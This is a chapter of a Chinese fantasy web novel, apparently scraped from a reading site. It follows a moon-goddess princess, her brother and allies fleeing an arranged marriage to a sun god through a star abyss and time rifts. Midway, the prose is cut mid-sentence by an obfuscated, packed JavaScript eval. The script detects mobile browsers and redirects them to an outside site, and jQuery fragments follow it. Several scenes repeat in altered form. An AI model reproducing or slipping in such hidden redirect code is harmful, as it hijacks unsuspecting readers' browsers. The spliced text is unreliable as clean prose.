默认冷灰
24号文字
方正启体

1565. 19 我并不想和亲

作者:Ann泠善然本书字数:K更新时间:
    幻雪帝国的曦言公主苒苒,凝视着窗外纷飞的雪花,心中满是愁绪。身为曜雪玥星冰雪大陆的月神嫦曦,她本该在故乡的银装素裹中安然度日,却不得不面对与太阳焰星斗罗大陆火焰帝国太阳神帝俊玉卓公的和亲命运。她的皇兄曦风王子,那位被世人称作银玥公子的温润少年,此刻也无法替她阻挡这桩注定的婚事,让苒苒只能独自在这清冷的宫殿中,黯然神伤。


    银烛摇曳的瑀彗大殿里,苒苒赤足跪坐在冰纹玉毯上,指尖无意识地摩挲着窗棂边缘凝结的霜花。十二扇雕花冰窗正对着无垠海岸,此时浪涛裹着碎冰轰然撞向峭壁,将雪色月光碾成万点银鳞。她垂落的云纹广袖间,鲛绡裙裾铺展如绽开的白梅,发间九凤衔珠钗随着海风轻颤,倒像是被困在水晶笼中的蝶。


    "公主又在看海?"轻柔嗓音惊破凝滞的空气。曦风倚着鎏银冰柱而立,月白锦袍绣着暗纹北极星图,腰间银玥玉佩折射着冷光。他指尖绕着一绺霜雪凝成的发丝,忽然抬手将飘落她肩头的雪片拢在掌心,"海风凉透了,当心着了寒。"


    苒苒望着兄长掌心渐渐融化的雪水,忽然想起幼年时两人在茉莉花田追逐的光景。那时他总把沾着晨露的茉莉簪在她鬓边,笑着说要把最甜的花留给最甜的妹妹。可如今他眉间凝结的霜雪,竟比窗外的冰凌还要冷三分。


    "听说太阳焰星的玉卓公...生得极美。"她忽然开口,声音像是从冰层深处浮上来的气泡,"传闻他眸中盛着永恒不落的烈日,连星辰见了都要黯淡。"


    曦风的睫毛剧烈颤动了一下,袖中紧握的冰棱"咔嚓"碎裂。他俯身时,北极星图腾扫过苒苒苍白的脸颊:"那些传言,你信?"


    窗外的暴风雪突然肆虐起来,冰窗发出不堪重负的呻吟。苒苒望着兄长眼底翻涌的暗潮,忽然想起昨日在归渔居看到的预言冰晶——赤红色的火焰吞没了整个刃雪城,而她白裙染血的身影,正被戴金冠的男人拥入怀中。


    "若是不信,"她将冰凉的掌心覆上兄长手背,"为何连父王都不敢违逆星轨?"霜花顺着她的指尖爬上曦风衣袖,在月光下开出剔透的冰莲,"哥哥可知,我每次看到玉卓公的星象,胸口就像被寒冰封住...连呼吸都痛。"


    曦风猛地攥住她手腕,银玥玉佩重重磕在冰纹桌面:"我定会寻到逆转星轨的方法!"他眼底燃烧着近乎疯狂的光,却在触及苒苒含泪的双眼时骤然熄灭。少年松开手,将她颤抖的身子揽入怀中,发间龙涎香混着雪松香扑面而来,"再等等,就等我摘来能改写命运的极光..."


    瑀彗大殿穹顶垂落的冰棱折射着幽蓝光晕,苒苒跪坐在玄冰雕成的矮榻上,白裙上绣着的月桂纹被烛火映得忽明忽暗。她望着窗外翻涌的雪幕,忽见一道赤金色光芒刺破云层——那是太阳焰星的使臣船舰,正拖着燃烧的尾焰划破曜雪玥星的夜空。


    "公主,该用晚膳了。"朴水闵捧着鎏银食盒踏入殿内,熹黄色襦裙掠过地面凝结的霜花,"雪皇陛下说..."


    "我吃不下。"苒苒打断她,苍白指尖抚过窗棂上天然形成的冰纹,仿佛那是太阳焰星使臣递来的烫金婚书。远处无垠海岸传来冰川断裂的轰鸣,惊起一群翼尖覆雪的寒鸦,黑压压的羽翼遮蔽了半边月光。


    殿门忽然被推开,裹挟着凛冽寒气的雪风卷着冰晶灌入。曦风踏着满地碎琼而来,白袍上沾着星屑般的雪粒,银玥玉佩在他胸前泛着冷光。他身后跟着的玉衡仙君廉贞王子素袍半染霜色,而雪皇雪曦身披湛蓝色冕服,缀满星辰的衣摆拖曳在冰砖地面,留下一串转瞬即逝的冰晶莲。


    "还在看?"雪皇抬手轻挥,殿内骤然亮起万千萤火般的冰灯,将苒苒苍白的面容照得通透。她指尖划过女儿发间的九凤衔珠钗,湛蓝眼眸倒映着窗外肆虐的暴风雪,"太阳焰星的玉卓公,乃三界最强大的神明。"


    "可我不想做祭品。"苒苒猛地起身,白裙扫落案上的冰雕月桂。她望向始终沉默的父亲,廉贞王子正垂眸凝视掌心凝结的霜花,素白指尖微微颤抖。记忆突然翻涌,儿时在純玥楼的归渔居,父亲总在深夜为她编织冰蝴蝶,那些闪烁着微光的翅膀,曾是她最温暖的梦境。


    "这是星轨注定的命运。"雪皇袖中滑落一卷泛着金光的星图,上面赤红火焰缠绕的婚盟印记刺得苒苒眼眶生疼,"玉卓公承诺,若你嫁入火焰帝国,曜雪玥星百年内可免受星际战火。"


    曦风突然挡在苒苒身前,白袍猎猎作响:"母后!难道非要用妹妹的幸福换取和平?"他周身腾起凛冽寒气,殿内冰灯瞬间凝结成冰珠簌簌坠落。雪皇眉间泛起冷意,湛蓝冕服无风自动,而廉贞王子忽然抬手按住儿子肩膀,素色衣袖下青筋暴起。


    苒苒望着兄长因愤怒而发红的眼尾,又看向父母交叠的身影。窗外的雪越发急了,冰晶拍打在冰窗上发出细碎声响,仿佛无数神明在嘲笑她逃不出的宿命。朴水闵突然扯住她的裙摆,低声惊呼:"公主,您的裙角..."苒苒低头,只见鲛绡裙摆不知何时已结满寒霜,那些精美的月桂纹正在冰层下慢慢枯萎。


    夜更深了,殿内的冰灯在无声中一盏接一盏熄灭,只余雪皇周身流转的蓝光映得众人面容愈发冷硬。廉贞王子的素袍在寒风中微微晃动,他抬起手,想要触碰女儿,却在半空凝滞,最终化作一声叹息垂落身侧。


    “母后,就没有别的办法了吗?”苒苒声音发颤,白裙下的双腿早已跪得麻木。她望着雪皇那身湛蓝色冕服,上面繁复的星辰图案仿佛都在嘲笑她的无力。记忆中母亲抱着她在純玥楼看雪的温暖画面,此刻却被眼前冰冷的面容击碎。


    雪皇银岚公主眉间微皱,眼中闪过一丝不易察觉的犹豫,但很快又被坚定取代:“星轨难逆,这是守护幻雪帝国的唯一选择。”她抬手,星图上火焰与冰雪的交缠愈发刺眼,“玉卓公已派出最强大的星舰,不日便至。”


    曦风攥紧拳头,指节泛白,周身寒气四溢:“若星轨是错的呢?难道要让苒苒成为这所谓和平的牺牲品?”他想起幼时在归渔居,妹妹总爱躲在他身后,怯生生地看着陌生事物,如今却要独自面对那炽热如焚的太阳焰星。


    朴水闵在一旁急得眼眶发红,熹黄色的衣袖绞在一起:“公主殿下,您...”话未说完,便被雪皇冰冷的目光打断。


    苒苒缓缓起身,白裙上的冰霜随着动作簌簌掉落。她看向兄长,在对方眼底看到了同样的倔强与不甘,又看向沉默的父亲,那苍白的面容仿佛比窗外的雪还要脆弱。“我明白了。”她轻声说道,声音里带着不属于这个年纪的疲惫,“只是,可否让我在出嫁前,再好好看看这刃雪城?”


    雪皇微微颔首,转身离去,湛蓝色的冕服在身后留下一串转瞬即逝的冰晶。廉贞王子深深看了女儿一眼,欲言又止,最终只是默默跟随在妻子身后。


    殿门关闭的瞬间,曦风上前将苒苒拥入怀中,声音低沉而坚定:“别怕,我定会找到办法。就算踏碎星辰,也要护你周全。”苒苒靠在兄长肩头,听着他有力的心跳,泪水终于落下,打湿了那身绣着北极星的白袍。窗外,暴风雪仍在肆虐,而刃雪城的夜空,此刻被远处太阳焰星舰的赤金色光芒染得一片妖异。


    当晨曦的第一缕光刺破雪幕,苒苒赤足踩在归渔居冰凉的地板上。朴水闵捧着镶冰玉梳的手微微发抖,熹黄色的裙摆扫过满地月光:“公主殿下,这冰梳是您六岁生辰时,王子殿下亲手雕的……”话音未落,窗外突然传来冰棱断裂的脆响。


    曦风倚在雕花冰门前,白袍被晨风吹得猎猎作响,银玥玉佩泛着冷冽的光。他望着妹妹发间松散的雪色缎带,想起幼时在純玥楼的夜晚,总是笨拙地为她系上蝴蝶结,而如今那双能化冰雪为繁花的手,却攥着注定撕碎她幸福的婚书。


    “随我去星渊。”他突然开口,眼底翻涌着暗潮。星渊是幻雪帝国最古老的禁地,传说藏着能改写命运的星轨密卷。苒苒转身时,白裙上的月桂纹在晨光中忽明忽暗,她看见兄长身后,廉贞王子正立在远处的雪松林里,素白的袍角沾满霜雪,像是一尊被岁月遗忘的冰雕。


    雪皇的冕旒在议事殿中叮当作响,湛蓝色的衣摆扫过冰纹地砖:“想闯星渊?”她指尖划过悬浮的星图,赤红火焰顺着图纹爬上苒苒的倒影,“当年你父亲为了救我,擅闯星渊,至今灵力未复——你还要重蹈覆辙?”


    曦风猛地跪落在地,冰面瞬间结出蛛网般的裂痕:“母后!难道要眼睁睁看着苒苒被烧成灰烬?”他想起昨夜在瑀彗大殿,妹妹苍白的面容映着太阳焰星使臣船舰的赤光,美得如同即将消逝的雪魄。


    朴水闵突然扑到苒苒脚边,熹黄色的衣袖擦过她冰凉的脚踝:“陛下,公主这些日子总在梦中喊疼,说胸口像有火在烧……”话未说完,雪皇袖中飞出一道冰链,将她凌空吊起。


    “够了!”苒苒突然上前,白裙扬起的雪雾模糊了众人视线。她望着母亲眼底翻涌的雷霆,忽然想起幼时雪皇抱着她在茉莉花田数星星的温柔,“母后,我去。”声音像冰棱坠入深潭,“但请允许我最后一次,与哥哥去星渊告别。”


    雪皇凝视女儿许久,湛蓝冕服上的星辰突然黯淡。她挥袖撤去冰链,朴水闵跌落在地,熹黄色的裙摆沾满冰晶。“明日辰时,太阳焰星的星舰就会抵达。”她转身时,冕旒撞击的声响在空旷的大殿里回荡,“莫要让玉卓公等急了。”


    夜色再次降临时,苒苒与曦风并肩站在星渊入口。寒风卷起她的白裙,露出脚踝上哥哥幼时用冰珠串的脚链。远处,廉贞王子素白的身影在雪雾中若隐若现,而太阳焰星的赤芒,正如同嗜血的巨兽,缓缓吞噬着曜雪玥星的夜幕。


    冰晶凝结的窗棂突然泛起涟漪,素兰色的裙裾如流云般漫入瑀彗大殿。缤若指尖轻点,飘落的雪花便在空中凝成兰花的形状,她发间的蓝银草发簪随着步伐轻晃,醉人的温柔在眉眼间流转:“苒苒,我听说...”话未说完,目光便落在公主白裙上结霜的月桂纹,声音戛然而止。


    “姐姐。”苒苒转身时,冰蓝色的眼眸蒙着薄雾。她望着缤若素兰色的纱衣上若隐若现的花脉纹路,想起儿时三人在茉莉花田追逐的场景——那时缤若总爱用花瓣为她编花环,而曦风会悄悄把最饱满的浆果塞进她掌心。


    殿外传来踏雪声,白雍身着绣着银线云纹的白色锦衣,腰间悬着的猎户座星图玉佩折射出冷光。他抬手接住缤若指尖凝结的冰兰,低声道:“太阳焰星的舰队已突破外围防线,玉卓公亲自驾临。”话音刚落,曦风便疾步而入,白袍上的北极星图腾仿佛在燃烧。


    “不行!”缤若突然上前,素兰色衣袖扫落案上的冰灯,“当年星渊密卷记载,日月结合会引发宇宙失衡!苒苒若去,整个星系都会...”


    “母亲不会听这些。”曦风攥紧银玥玉佩,指节泛白,“除非...”他目光扫过众人,最终落在白雍身上,“少昊,你能否借我猎户座的星弓?我要去射落太阳焰星的预警星。”


    白雍沉默片刻,锦衣下的肌肉微微绷紧:“那星弓百年未用,且玉卓公的神力...”


    “让我去!”苒苒突然开口,白裙无风自动,“我是月神嫦曦,或许能...”


    “胡闹!”曦风猛地转身,眼底翻涌着从未有过的怒意,“你忘了星渊预言?玉卓公的火焰会...”他突然噤声,喉结剧烈滚动。朴水闵攥着熹黄色裙摆冲进来,发丝凌乱:“公主!雪皇陛下召您即刻前往星轨殿!”


    缤若突然摘下蓝银草发簪,草叶间绽放出幽蓝光芒:“拿着,这是花神结界的钥匙。”她将发簪塞进苒苒掌心,温柔的目光扫过曦风紧绷的侧脸,“你们从密道走,我和少昊去拖住玉卓公的使臣。”


    白雍已经抽出腰间星弓,银白色的弓弦上跃动着猎户座的星光:“东南方向的雪松林有传送阵,我们在那里汇合。”他望向曦风,眼中闪过战神刑天的凌厉,“但你要想好,与太阳焰星为敌,意味着整个幻雪帝国...”


    “我只要苒苒平安。”曦风的声音低沉而决绝,他牵起妹妹冰凉的手,白袍与白裙在寒风中交织成雪色的网。殿外,赤金色的光芒已经穿透云层,而远处雪松林深处,廉贞王子素白的身影正凝望着这一切,掌心的冰花悄然碎裂。


    当赤金色的光芒第三次掠过刃雪城的琉璃穹顶时,缤若的素兰色裙摆已沾满星渊的幽蓝磷粉。她指尖抚过密道入口处的蓝银草图腾,花脉纹路在掌心亮起微光:“这里的结界能撑半个时辰,足够你们到传送阵。”


    苒苒望着好友发间凌乱的发丝,忽然想起那年在純玥楼的花朝节,缤若将第一朵绽放的蓝银草别在她鬓边,说要把最珍贵的东西送给最珍贵的人。此刻那抹温柔依旧萦绕眉眼,却掩不住眼底的凝重。


    “少昊已在雪松林引开巡逻卫队。”缤若将冰玉瓶塞进朴水闵怀中,瓶中盛着的花蜜在黑暗中泛着荧光,“若遇到噬冰兽,就撒这个。”她转身时,素兰色纱衣扫过曦风的白袍,“照顾好她。”


    密道内的冰棱不断滴落水珠,在地面汇成闪烁的溪流。曦风握紧苒苒的手,银玥玉佩贴着她手腕发烫:“别怕,等过了传送阵,我们就去摘极光草。”他声音里带着强撑的镇定,却掩不住掌心细密的冷汗。苒苒望着兄长轮廓分明的侧脸,月光透过冰隙洒在他睫毛上,恍惚间又回到幼年在归渔居的夜晚,他也是这样把她护在身后,说要做她永远的护盾。


    突然,密道深处传来冰裂轰鸣。朴水闵举着冰灯的手剧烈颤抖,熹黄色裙摆被寒气浸透:“是...是雪皇陛下的冰卫!”话音未落,十二道冰刃已破墙而入,映着曦风骤然冷冽的目光。


    “带公主先走!”他挥袖召出北极星盾,白袍猎猎作响,“我拦住他们!”冰刃撞击盾牌的脆响中,苒苒看见兄长颈间泛起的冰晶纹路——那是强行催动灵力的征兆。她突然挣脱朴水闵的手,白裙扬起的雪雾中,月神之力在指尖凝聚成银蓝色光盾。


    “我不会再躲了。”她的声音穿透混战的冰屑,“当年父亲为母亲闯星渊,如今换我...”话未说完,整座密道突然剧烈震动。头顶的冰穹裂开缝隙,赤金色的火焰从裂缝中倾泻而下,在触及苒苒光盾的瞬间,化作千万只燃烧的凤凰。


    缤若的惊呼声从密道入口传来。素兰色身影疾冲而来,蓝银草发簪绽放出结界的最后光芒:“快!这是玉卓公的本命火凤!”她转身时,背后浮现出巨大的花神虚影,花瓣纷飞间,朴水闵突然拽着苒苒跌进传送阵的蓝光。


    曦风的怒吼混着冰爆声在身后炸开。苒苒最后一眼看见兄长白袍染血,银玥玉佩在火海中发出刺目白光,而缤若素兰色的纱衣被火焰点燃,却仍固执地编织着花神结界。传送阵的光芒吞没众人的刹那,她听见白雍的星弓撕裂夜空的铮鸣,也听见雪皇冰冷的声音穿透时空:“擅闯星渊者,诛——”


    传送阵的蓝光在雪松林深处炸开,苒苒踉跄着跌进漫天星辉。白裙扫过覆满冰霜的蓝银草,她抬头望见树冠间悬挂的猎户座星图,银蓝色的光带正与赤金色的火焰激烈碰撞。朴水闵攥着染血的熹黄色衣袖,指缝间渗出的花蜜在雪地上画出诡异的荧光轨迹。


    “公主!”白雍的白色锦衣裹着猎猎寒风掠至,猎户座星弓在他手中嗡鸣如雷,“曦风缠住了玉卓公,但雪皇的冰卫已经...”话音未落,整片松林突然被冰蓝色的结界笼罩。苒苒转身,只见缤若立于百米外的冰崖之巅,素兰色裙摆随风翻涌,发间蓝银草发簪正绽放出最后的光芒。


    “快走!”缤若的声音混着花神结界碎裂的脆响传来,她指尖绽放的兰花虚影被火焰灼成飞灰,“星渊深处有能逆转星轨的...啊!”赤金色的凤凰利爪撕裂结界,将她的身影卷入火幕。白雍发出一声怒吼,星弓射出的银箭穿透云层,却只在火海中激起一串火星。


    苒苒的指甲深深掐进掌心,月神之力在血脉中翻涌。她望着兄长消失的方向,想起儿时在归渔居的誓言——若有一日风雪蔽目,他定是她永远的光。此刻那束光正在与火焰对抗,而她不能再做躲在身后的影子。


    “去星渊。”她转身望向白雍,冰蓝色眼眸倒映着漫天战火,“缤若说那里有逆转星轨的方法。”话音未落,雪地上突然浮现出冰皇的星纹图腾,廉贞王子的素白身影从雪雾中浮现。他手中握着半块破碎的冰蝶——正是苒苒六岁生辰时他亲手所制。


    “带上这个。”廉贞的声音像是从冰层深处传来,素袍上凝结的霜花簌簌坠落,“星渊核心...有你母亲当年留下的...”话未说完,一道赤金色光束穿透云层。苒苒本能地抬手,白裙上的月桂纹突然迸发银芒,与光束相撞的刹那,时空仿佛扭曲成漩涡。


    朴水闵突然拽住她的手腕:“公主!您的眼睛!”苒苒指尖触到湿润的液体,低头看见雪地上绽开的血花。她在剧痛中听见曦风的呼喊穿透火海,看见白雍将星弓横在她身前,而廉贞王子素白的身影正化作点点冰晶,融入漫天风雪。


    “走!”白雍的白色锦衣被火焰燎出焦痕,他将苒苒推进星渊入口的瞬间,猎户座星图在天际轰然炸裂。苒苒坠落的刹那,望见刃雪城的方向腾起冲天的冰焰,而曦风的白袍正与玉卓公的赤金铠甲在云层间激烈碰撞,宛如日月争辉。


    星渊底部的寒雾如活物般缠绕着苒苒的白裙,冰晶在她发间凝结成细小的月桂形状。朴水闵举着摇曳的冰灯,熹黄色的裙摆扫过地面暗紫色的苔藓,"公主,这里的灵气...冷得像是要把人碾碎。"话音未落,远处传来锁链拖动的轰鸣,白雍瞬间将星弓横在身前,白色锦衣上的猎户座纹路泛起银光。


    "小心!"缤若的声音突然从雾中传来。素兰色身影破雾而出时,苒苒看见她发间蓝银草发簪只剩半截,纱衣上布满焦黑的爪痕。花之女神踉跄着扶住冰柱,指尖勉强开出几朵苍白的兰花,"玉卓公的追兵...就在后面。"


    曦风的怒吼穿透迷雾的刹那,苒苒的心脏猛地抽痛。她转身望向冰层深处,透过弥漫的雾气,隐约看见兄长的白袍在赤金色火焰中若隐若现。银玥玉佩的光芒与太阳焰激烈碰撞,每一次冲击都震得星渊的冰壁簌簌剥落。"他在拖延时间!"白雍将星箭搭在弦上,"我们必须在结界完全破碎前找到..."


    "在那里!"朴水闵突然指向冰壁裂缝。熹黄色衣袖拂开缭绕的寒雾,露出半截嵌在冰中的古老星图。苒苒白裙拖地奔上前去,指尖触到图纹的瞬间,无数记忆碎片涌入脑海——年幼的母亲跪在星渊祭坛前,廉贞王子素白的身影将半块冰蝶塞进她掌心,而雪皇湛蓝的冕服在火焰中燃烧。


    "这是...逆转星轨的星钥!"缤若的声音带着惊喜,素兰色裙摆扫过星图时,蓝银草突然疯长缠绕其上。花之女神闭上眼睛,眉心浮现出花神印记,"但需要月神之力启动..."


    冰渊上方突然传来震耳欲聋的轰鸣。苒苒抬头,看见赤金色的凤凰冲破冰层,玉卓公的金冠在火焰中闪烁。他俯视众人的目光如烈日灼身,"月神嫦曦,你逃不掉的。"话音未落,曦风的白袍裹着寒气撞向凤凰,银玥玉佩迸发出璀璨的北极星芒。


    "苒苒!快!"曦风的声音混着冰爆声传来。苒苒咬着下唇,月神之力在体内翻涌。她将手掌按在星图上,白裙上的月桂纹发出耀眼的银光。星渊开始剧烈震动,冰壁上的古老纹路逐一亮起,而朴水闵突然指着星图惊呼:"公主!这里有玉衡仙君的字迹!"


    白雍的星箭擦着玉卓公的耳畔飞过,白色锦衣被气浪掀得猎猎作响。"少昊!护好她们!"曦风的白袍已被火焰染成赤红,他转身望向妹妹的眼神却温柔得可怕,"苒苒,别怕..."


    星图的光芒突然暴涨,将所有人笼罩其中。苒苒在强光中听见母亲的声音,看见父亲年轻时的模样,而玉卓公的怒吼和兄长的喘息声渐渐模糊。当光芒消散时,她发现自己置身于一片陌生的花海,素兰色裙摆的缤若、白色锦衣的白雍,还有...本该在星渊之上战斗的曦风,正站在不远处望着她。


    花海中浮动着细碎的蓝银草荧光,苒苒望着完好无损的曦风,白裙下的双腿突然发软。朴水闵的熹黄色裙摆率先掠过花丛,侍女扑到她身边时带起清甜的花香:“公主!您的眼睛...”指尖触到湿润的温热,苒苒这才发现自己早已泪流满面。


    “这是...星渊的幻境?”白雍的白色锦衣沾着星渊的冰晶,他抬手触碰悬浮在空中的星砂,猎户座玉佩发出共鸣般的震颤。缤若的素兰色衣袖拂过苒苒肩头,发间残缺的蓝银草发簪突然绽放出新芽,“不,这是星钥创造的平行时空。看这些花——”她摘下一朵泛着月光的兰草,“每片花瓣都在记录我们的选择。”


    曦风的白袍扫过满地星芒,银玥玉佩在他胸前轻轻发烫。他伸手拭去苒苒脸颊的泪痕,指腹带着熟悉的冰凉:“别怕,玉卓公的火焰被星渊屏障暂时困住了。”他的声音温柔却紧绷,仿佛下一秒就会碎成冰渣,“但我们没有太多时间。”


    远处的花海突然翻涌,赤红的火焰如潮水般漫过天际线。玉卓公的身影在火幕中若隐若现,金冠上的日轮图腾灼烧着整片天空:“月神嫦曦,你以为逃进虚幻就能躲开命运?”他的声音震得蓝银草纷纷枯萎,“看看你身后——”


    苒苒转身时,瞳孔猛地收缩。花海的另一端,刃雪城正在熊熊燃烧,雪皇的湛蓝色冕服在火焰中扭曲成灰烬,廉贞王子的素白身影被冰链贯穿,悬浮在半空。朴水闵发出一声尖叫,熹黄色衣袖捂住嘴:“陛下...玉衡仙君他...”


    “这是未来的投影。”缤若的素兰色裙摆泛起涟漪,她指尖凝聚出花神结界,“若不改变星轨,幻雪帝国将...”话音未落,白雍的星弓突然发出嗡鸣,银白色的箭矢自动搭在弦上,直指火幕中的玉卓公。


    “少昊,别冲动!”曦风的白袍猎猎作响,他拦在白雍身前,“现在攻击只会加速时空崩塌!”北极星的光芒从他周身迸发,却在触及火焰的瞬间被灼出焦痕。苒苒望着兄长倔强的背影,记


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477861|158419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忆突然闪回儿时——在归渔居的雪夜,他也是这样挡在她身前,用身体为她挡住呼啸的寒风。


    “让我试试。”苒苒向前迈步,白裙上的月桂纹泛起银芒。月神之力在她掌心凝聚成冰蓝色光团,与星钥的光芒遥相呼应,“玉卓公想要的是月神之力,或许我可以...”


    “不行!”曦风猛地转身,眼底翻涌着从未有过的恐惧,银玥玉佩的光芒几乎要将他吞没,“你忘了星渊预言?你会被他的火焰...”他的声音突然哽咽,伸手将苒苒拽入怀中,白袍的雪松香混着血腥气扑面而来,“我答应过要护你周全...”


    火幕中的玉卓公突然发出狂笑,赤金色的凤凰虚影从他身后展翅:“愚蠢的兄妹情深!今日,我必要...”话音未落,整片花海剧烈震颤,无数星砂汇聚成漩涡,将众人卷入未知的时空裂隙。苒苒在失重中抓住曦风的手,听见他在耳边轻声说:“别怕,我在。”而朴水闵的惊呼声、缤若的花神吟唱,还有白雍拉满星弓的铮鸣,都渐渐被时空的呼啸声吞没。


    时空裂隙中的风暴裹挟着星砂与冰晶,苒苒的白裙在混沌中猎猎翻卷,仿佛随时会被撕成碎片。曦风将她死死护在怀中,白袍上的北极星图腾在黑暗中明灭不定,银玥玉佩抵在她心口发烫。朴水闵的熹黄色衣袖突然缠住两人的手腕,侍女的声音被呼啸的风声撕碎:“公主!我抓住你们了!”


    缤若的素兰色身影在不远处旋转,发间新生的蓝银草光芒如萤火明灭。她张开双臂吟唱花神咒,花瓣在虚空凝聚成屏障,却被玉卓公的赤金色火焰瞬间点燃:“少昊!用星弓开辟出口!”白雍的白色锦衣猎猎作响,猎户座星弓在他手中暴涨至十丈,银白色的箭芒撕裂黑暗的刹那,整片时空发出玻璃碎裂般的脆响。


    “到了!”曦风突然低喝,他指向前方裂缝中透出的幽蓝微光——那是曜雪玥星特有的极光。苒苒感觉手腕上的冰珠脚链突然发烫,那是儿时兄长亲手所制,此刻正与极光产生共鸣。她咬着下唇将月神之力注入脚链,银蓝色的光芒顺着曦风的手臂蔓延,在两人周身结成冰晶护甲。


    当众人跌出时空裂隙时,发现置身于一片陌生的雪原。远处耸立着冰晶堆砌的古老祭坛,十二根冰柱上雕刻着日月同辉的图腾。朴水闵的熹黄色裙摆沾满星尘,她举着冰灯踉跄上前:“这里的灵气...竟比星渊还要古老!”话音未落,祭坛中央突然升起一道湛蓝色的虚影——正是雪皇年轻时的模样,湛蓝冕服上缀满的星辰栩栩如生。


    “母亲?!”苒苒的声音发颤,白裙下的双腿几乎支撑不住身体。虚影转动眼眸,目光扫过众人时,祭坛四周的冰柱骤然亮起:“月神之力与星钥共鸣,竟真的开启了远古禁域...”雪皇的声音混着冰裂声传来,“但玉卓公的火焰即将追来,你们必须...”


    “陛下!”白雍突然打断,白色锦衣上的猎户座纹路剧烈闪烁,“星弓感应到了星轨的薄弱点!若能在这里...”他的话被天空中传来的凤鸣声打断。赤红的火焰如天幕般压下,玉卓公脚踏火凤降临,金冠上的日轮图腾将雪原照得一片血红。


    “月神嫦曦,你终究无路可逃。”玉卓公抬手,赤金色的火焰化作锁链缠向苒苒。曦风的白袍瞬间覆满冰晶,他挥袖召出北极星盾,盾面却在接触火焰的瞬间滋滋作响。缤若的素兰色裙摆突然暴涨,蓝银草藤蔓缠住火焰锁链,花之女神的声音带着决绝:“少昊!现在!”


    白雍将星弓拉至满月,银白色的箭矢凝聚成漩涡状的星门。苒苒望着兄长苍白却坚定的侧脸,又看向祭坛上逐渐透明的母亲虚影。月神之力在体内沸腾,她突然挣脱曦风的保护,白裙扬起的雪雾中,银蓝色的月光与星门的光芒轰然相撞。时空再次扭曲的刹那,她听见曦风撕心裂肺的呼喊,而玉卓公的怒吼和雪皇的叹息,都被卷入了浩瀚的星海中。


    时空漩涡将众人吞噬的瞬间,苒苒感觉手腕被一股熟悉的力量紧紧攥住。曦风的白袍如蝶翼般展开,银玥玉佩在混沌中划出冷冽的光弧,将她牢牢护在北极星状的屏障内。朴水闵的熹黄色衣袖缠上她的腰际,侍女指尖还攥着半块碎裂的冰灯,微弱的光芒在黑暗中忽明忽暗。


    “坚持住!”缤若的声音从风暴深处传来。素兰色裙摆化作万千蓝银草,编织成网缠住众人。花之女神发间残缺的发簪绽放出最后的光华,映得她苍白的面容如同将逝的月光。白雍的白色锦衣猎猎作响,猎户座星弓在他手中扭曲变形,银白色的箭矢逆向射向时空裂隙,试图撕开一道逃生的缺口。


    当光芒终于刺破黑暗,众人跌落在一片奇异的雪原上。冰晶凝结的古祭坛在月光下泛着幽蓝,十二根图腾柱上的日月雕刻竟在缓缓流转。苒苒的白裙沾满星屑,她望着远处天际燃烧的赤金色云霭——那是玉卓公的火焰正在撕裂空间,金冠上的日轮图腾如同一只怒目圆睁的巨兽。


    “这里是……”朴水闵的声音戛然而止。熹黄色裙摆突然僵在原地,侍女惊恐地指向祭坛中央——雪皇的虚影正在缓慢消散,湛蓝色冕服上的星辰一颗颗崩裂坠落。“逆转星轨的关键……”虚影的声音像是从冰层深处浮上来的气泡,“在你们的羁绊里……”


    话音未落,赤金色的火焰便如潮水般漫过雪原。玉卓公脚踏火凤降临,每一根尾羽都燃烧着毁灭的力量。“月神的逃戏,该结束了。”他抬手时,天空中降下万千火雨,瞬间将蓝银草化作飞灰。缤若素兰色的裙摆被火焰点燃,却仍固执地张开花神结界,娇弱的身影在火光中宛如风中残蝶。


    “别碰她!”白雍的怒吼震碎天际。白色锦衣鼓荡如帆,猎户座星弓射出的箭雨与火雨相撞,爆发出震耳欲聋的轰鸣。曦风的白袍已被冰雪与血迹浸染,银玥玉佩迸发出刺目的光芒,他挥出的北极星刃在火焰中寸寸崩裂,却始终挡在苒苒身前。


    “哥哥,让我试试。”苒苒突然开口。白裙无风自动,月神之力在她周身凝聚成银蓝色的光晕。她想起儿时在归渔居的夜晚,曦风为她讲述星辰故事时温柔的眼神;想起缤若将蓝银草簪在她发间的轻笑;想起朴水闵总把最甜的冰莓藏进她袖中。这些记忆如潮水涌入心间,竟在她掌心凝聚成一枚晶莹的冰晶。


    玉卓公的冷笑混着火焰的呼啸传来:“凭这种小把戏?”然而当冰晶脱手的刹那,整片雪原突然震颤。银蓝色的月光与赤金色的火焰相撞,在时空深处撕开一道裂缝。苒苒看见曦风惊愕的侧脸,看见缤若含泪的微笑,也看见白雍将星弓再次拉满。而裂缝深处,似乎有无数个平行时空的残影在闪烁——那里有刃雪城的宁静,有茉莉花田的芬芳,还有……一个没有火焰与冰雪对立的世界。


    时空裂缝中逸出的星光碎片落在苒苒睫毛上,她望着掌心渐渐透明的冰晶,突然想起儿时在归渔居的冬夜。那时曦风用冰棱为她雕了只振翅欲飞的蝴蝶,烛火摇曳间,银玥公子的眉眼比冰晶更温柔:"等苒苒长大了,哥哥就带你去摘最亮的星星。"


    此刻雪原上,赤金色的火雨将曦风的白袍烧出焦痕。他却反手将苒苒护在身后,北极星盾在火焰中发出不堪重负的嗡鸣。"退后!"他的声音混着冰爆声,银玥玉佩的光芒被玉卓公的日轮图腾压得几近熄灭。


    朴水闵突然扑到苒苒脚边,熹黄色裙摆沾满熔冰。侍女颤抖着掏出怀里的冰灯残片:"公主,这是玉衡仙君...在星渊入口给我的!"碎裂的灯盏中,半枚冰蝶在月光下流转着熟悉的光晕——正是廉贞王子素白指尖常凝结的冰花形状。


    缤若的素兰色纱衣已被火焰蚕食大半,发间蓝银草却突然疯长,缠住玉卓公挥落的火鞭。花之女神仰起脸,醉人的温柔化作决绝:"少昊!用星弓牵引月神之力!"白雍的白色锦衣鼓荡如帆,猎户座星弓划出的银弧与苒苒掌心的冰晶产生共鸣,整片雪原的冰雪开始逆向流动。


